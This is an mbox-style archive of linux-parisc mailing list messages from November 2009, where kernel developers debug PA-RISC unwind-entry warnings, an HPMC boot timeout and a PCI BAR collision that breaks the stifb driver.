	id S932408AbZKBXXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 18:23:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757229AbZKBXXV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 18:23:21 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4592 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757216AbZKBXXV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 18:23:21 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AAFFF4E38; Mon,  2 Nov 2009 18:23:24 -0500 (EST)
In-Reply-To: <4AEF6294.5000705@gmx.de> from "Helge Deller" at Nov 2, 2009 11:52:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2295>

> On 11/02/2009 11:20 PM, Helge Deller wrote:
> sadly I answered too early....
> With 64bit kernel I get those unwind warnings again with nearly all kernel modules now:
> WARNING: Out of order unwind entry! 0000000000d4ad40 and 0000000000d4ad50

What's readelf say?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marek Denis <marek@octogan.net>
Newsgroups: gmane.linux.ports.parisc
Subject: hanging kernel - HPMC problem
Date: Tue, 03 Nov 2009 11:07:09 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <4AF000CD.1010007@octogan.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257243470 31387 80.91.229.12 (3 Nov 2009 10:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 10:17:50 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 11:17:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5GSM-0001nS-Q4
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 11:17:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750832AbZKCKRd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 05:17:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753132AbZKCKRd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 05:17:33 -0500
Original-Received: from octogan.net ([89.144.18.177]:47677 "EHLO vesper.octogan.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753026AbZKCKRc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 05:17:32 -0500
X-Greylist: delayed 519 seconds by postgrey-1.27 at vger.kernel.org; Tue, 03 Nov 2009 05:17:32 EST
Original-Received: from [10.1.101.238] (riviera.nat.student.pw.edu.pl [194.29.137.1])
	by vesper.octogan.net (Postfix) with ESMTPSA id 22779CA063
	for <linux-parisc@vger.kernel.org>; Tue,  3 Nov 2009 11:09:21 +0100 (CET)
User-Agent: Thunderbird 2.0.0.22 (X11/20090605)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2296>

Hello all,

I am encountering probably quite typical problem with my PA-RISC server. 
Unfortunately, I couldn't find any solution on google.
I am trying to configure kernel on HPPA machine with old PA8000 (with 
300MHz clock) processor.
I managed to install Debian lenny on that machine, configured most of 
the services, owever while trying to recompile the kernel I alwas get 
HPMC bus timeout during the boot. Generic kernel works perfectly, would 
you give me any hints where should I look for a mistake?
I suppose this is only kernel configuration issue.
Here is the .config file that didn't work:
http://pastebin.com/f45530dd7

I would appreciate any help

Marek Denis
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hanging kernel - HPMC problem
Date: Tue, 3 Nov 2009 08:51:29 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440911030551x2b7ecc0ajeabd4fcaaf479ec8@mail.gmail.com>
References: <4AF000CD.1010007@octogan.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1257256300 9084 80.91.229.12 (3 Nov 2009 13:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 13:51:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Marek Denis <marek@octogan.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 14:51:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5JnI-000875-68
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 14:51:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753580AbZKCNv0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 08:51:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753578AbZKCNv0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 08:51:26 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:46102 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753141AbZKCNvZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 08:51:25 -0500
Original-Received: by bwz27 with SMTP id 27so7615561bwz.21
        for <linux-parisc@vger.kernel.org>; Tue, 03 Nov 2009 05:51:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=jKuoA+MKmxElgJrDl43029q1U3Hxz9Wb+XE1ylopcTE=;
        b=I5B95JQkMy/vPctEyRP2YaVPuWG8pZenLHEZqt4XqHraesLwCSozVO7pN9zolj2PSz
         K0PD8B0OTedOjAY8gxJOcJ6xQOtzEYNaj19Uv5nyW1XxfRcVC0NY0KpkmGc+3L0ULbe2
         uLYnfctBWokrbE74leKHlCqvo2ZDBjXmQQw2Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=dooaps4IlMmmfA5zHbPQalg3VEvNpvn+x1HcWGMavlZLm61u3VfgEig9Ef1D2qpwV3
         UGURFN9vYtta5SYX3zs1S2GpjeKp8+aEZnjpvHzG78178LKkUhJbG3GvjmKBjNdLsIHa
         qemQaHJFk/ygd5+VWoNW8+/RmAkmScEgZ2XuY=
Original-Received: by 10.204.156.25 with SMTP id u25mr5036210bkw.129.1257256289580; 
	Tue, 03 Nov 2009 05:51:29 -0800 (PST)
In-Reply-To: <4AF000CD.1010007@octogan.net>
X-Google-Sender-Auth: b573796f3eefad3d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2297>

On Tue, Nov 3, 2009 at 5:07 AM, Marek Denis <marek@octogan.net> wrote:
> I suppose this is only kernel configuration issue.
> Here is the .config file that didn't work:
> http://pastebin.com/f45530dd7
>
> I would appreciate any help

I suggest:
* Remove all add-on cards from the hardware.
* Start with the generic config.
* Enable one thing at a time until it stops working.
* Come back to the list with a list of config options that don't work.

It's a slow and tedious process, but that's the only "easy" way to
solve the problem.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: pci 0000:01:04.0: BAR 0: no parent found for of device
Date: Tue, 03 Nov 2009 22:00:39 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <4AF099F7.10903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257282095 8560 80.91.229.12 (3 Nov 2009 21:01:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 21:01:35 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:01:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5QVJ-0004RS-J2
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 22:01:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754660AbZKCVAl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 16:00:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754725AbZKCVAk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 16:00:40 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33599 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754722AbZKCVAi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 16:00:38 -0500
Original-Received: (qmail invoked by alias); 03 Nov 2009 21:00:41 -0000
Original-Received: from p4FDB2754.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.84]
  by mail.gmx.net (mp022) with SMTP; 03 Nov 2009 22:00:41 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/I9hpv7ODIApPBHnmybJ3GS2lJkMbQKrDsp0EAux
	zzDWXTgOYukbf8
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2298>

Hi all,

Something broke the stifb graphics driver in 2.6.32-rc5 (Linus' current head).
Somehow it seems, that the PCI subsystem does not activate this PCI slot:

Linux version 2.6.32-rc5-32bit (deller@p100) (gcc version 4.4.1 (GCC) ) #157 Tue Nov 3 21:49:24 CET 2009
...
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 780 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
pci 0000:01:04.0: BAR 0: no parent found for of device [0xfa000000-0xfbffffff]
			^^^  HERE
...
STI GSC/PCI core graphics driver Version 0.9a
sti 0000:01:04.0: device not available because of BAR 0 [0xfa000000-0xfbffffff] collisions
sti 0000:01:04.0: Cannot enable PCI device
			^^^ HERE
sti: probe of 0000:01:04.0 failed with error -22
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
     id 35acda30-9a02587, conforms to spec rev. 8.0d
     graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
stifb: 'A1262A' (id: 0x35acda30) not supported.
Linux agpgart interface v0.103
....

Hopefully someone of you has an idea what caused this change?

lspci reports:
01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
         Flags: 66MHz, medium devsel
         Memory at fa000000 (32-bit, non-prefetchable) [size=32M]
         Expansion ROM at f2400000 [disabled] [size=64K]

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 03 Nov 2009 22:10:37 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <4AF09C4D.5030600@gmx.de>
References: <20091102232324.AAFFF4E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257282658 10589 80.91.229.12 (3 Nov 2009 21:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 21:10:58 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:10:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5QeN-0000i7-6X
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 22:10:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754685AbZKCVKk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 16:10:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754731AbZKCVKk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 16:10:40 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:54020 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754685AbZKCVKj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 16:10:39 -0500
Original-Received: (qmail invoked by alias); 03 Nov 2009 21:10:42 -0000
Original-Received: from p4FDB2754.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.84]
  by mail.gmx.net (mp015) with SMTP; 03 Nov 2009 22:10:42 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/45fkX2eX4qakPjHnKK17IVf10wCAlGOJ18Jbs11
	He3Jq06Gj+Q6hs
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091102232324.AAFFF4E38@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2299>

On 11/03/2009 12:23 AM, John David Anglin wrote:
>> On 11/02/2009 11:20 PM, Helge Deller wrote:
>> sadly I answered too early....
>> With 64bit kernel I get those unwind warnings again with nearly all kernel modules now:
>> WARNING: Out of order unwind entry! 0000000000d4ad40 and 0000000000d4ad50
>
> What's readelf say?

"modprobe libcrc32c" gives in dmesg:
WARNING: Out of order unwind entry! 0020d0e8 and 0020d0f8

[deller@p100 linus-linux-2.6-32bit]$ /opt/cross-hppa-4.4.neu/bin/hppa-linux-readelf -u lib/libcrc32c.ko

Unwind section '.PARISC.unwind' at offset 0x11c contains 3 entries:

<libcrc32c_mod_fini>: [0x0-0x2c]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<libcrc32c_mod_init>: [0x0-0x44]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<crc32c>: [0x0-0x6c]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 3 Nov 2009 16:36:02 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <20091103213603.9576D4FB2@hiauly1.hia.nrc.ca>
References: <4AF09C4D.5030600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257284176 15913 80.91.229.12 (3 Nov 2009 21:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 21:36:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:36:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5R2t-0004kf-K0
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 22:36:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755044AbZKCVgB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 16:36:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755238AbZKCVgB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 16:36:01 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4633 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755044AbZKCVgA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 16:36:00 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9576D4FB2; Tue,  3 Nov 2009 16:36:03 -0500 (EST)
In-Reply-To: <4AF09C4D.5030600@gmx.de> from "Helge Deller" at Nov 3, 2009 10:10:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2300>

> Unwind section '.PARISC.unwind' at offset 0x11c contains 3 entries:
> 
> <libcrc32c_mod_fini>: [0x0-0x2c]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <libcrc32c_mod_init>: [0x0-0x44]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <crc32c>: [0x0-0x6c]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8

What do you see for '.rela.PARISC.unwind'?

I suspect that this is a problem in handling the R_PARISC_SEGREL32
relocations is the kernel loader.  The above would be fine if
libcrc32c_mod_fini and libcRc32c_mod_init are in different sections
(.exit.text and .inti.text).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 03 Nov 2009 22:43:05 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <4AF0A3E9.6060302@gmx.de>
References: <20091103213603.9576D4FB2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257284604 17342 80.91.229.12 (3 Nov 2009 21:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 21:43:24 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:43:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5R9m-0008AL-0m
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 22:43:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751588AbZKCVnH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 16:43:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753877AbZKCVnH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Nov 2009 16:43:07 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:57147 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751588AbZKCVnG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2009 16:43:06 -0500
Original-Received: (qmail invoked by alias); 03 Nov 2009 21:43:09 -0000
Original-Received: from p4FDB2754.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.84]
  by mail.gmx.net (mp054) with SMTP; 03 Nov 2009 22:43:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19DlmQLcBpD5qSIqJXJaqlC0LCDifZgAK64Wloedx
	yMQyShF4HFHqXP
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091103213603.9576D4FB2@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2301
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2301>

On 11/03/2009 10:36 PM, John David Anglin wrote:
>> Unwind section '.PARISC.unwind' at offset 0x11c contains 3 entries:
>>
>> <libcrc32c_mod_fini>: [0x0-0x2c]
>>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>> <libcrc32c_mod_init>: [0x0-0x44]
>>           Entry_GR=1 Save_SP Save_RP Total_frame_size=8
>> <crc32c>: [0x0-0x6c]
>>           Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>
> What do you see for '.rela.PARISC.unwind'?
>
> I suspect that this is a problem in handling the R_PARISC_SEGREL32
> relocations is the kernel loader.  The above would be fine if
> libcrc32c_mod_fini and libcRc32c_mod_init are in different sections
> (.exit.text and .inti.text).

Relocation section '.rela.PARISC.unwind' at offset 0x9b8 contains 6 entries:
  Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000000  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 0
00000004  00000231 R_PARISC_SEGREL32 00000000   .exit.text + 2c
00000010  00000331 R_PARISC_SEGREL32 00000000   .init.text + 0
00000014  00000331 R_PARISC_SEGREL32 00000000   .init.text + 44
00000020  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 0
00000024  00000431 R_PARISC_SEGREL32 00000000   .text.crc32c + 6c


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 3 Nov 2009 16:54:07 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <20091103215408.7B0AD4E0B@hiauly1.hia.nrc.ca>
References: <4AF0A3E9.6060302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257285259 19607 80.91.229.12 (3 Nov 2009 21:54:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2009 21:54:19 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:54:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N5RKO-000522-7t
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Nov 2009 22:54:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753842AbZKCVyF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2009 16:54:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755216AbZKCVyF
	(ORCPT <rfc822;linux-parisc-outgoing>);
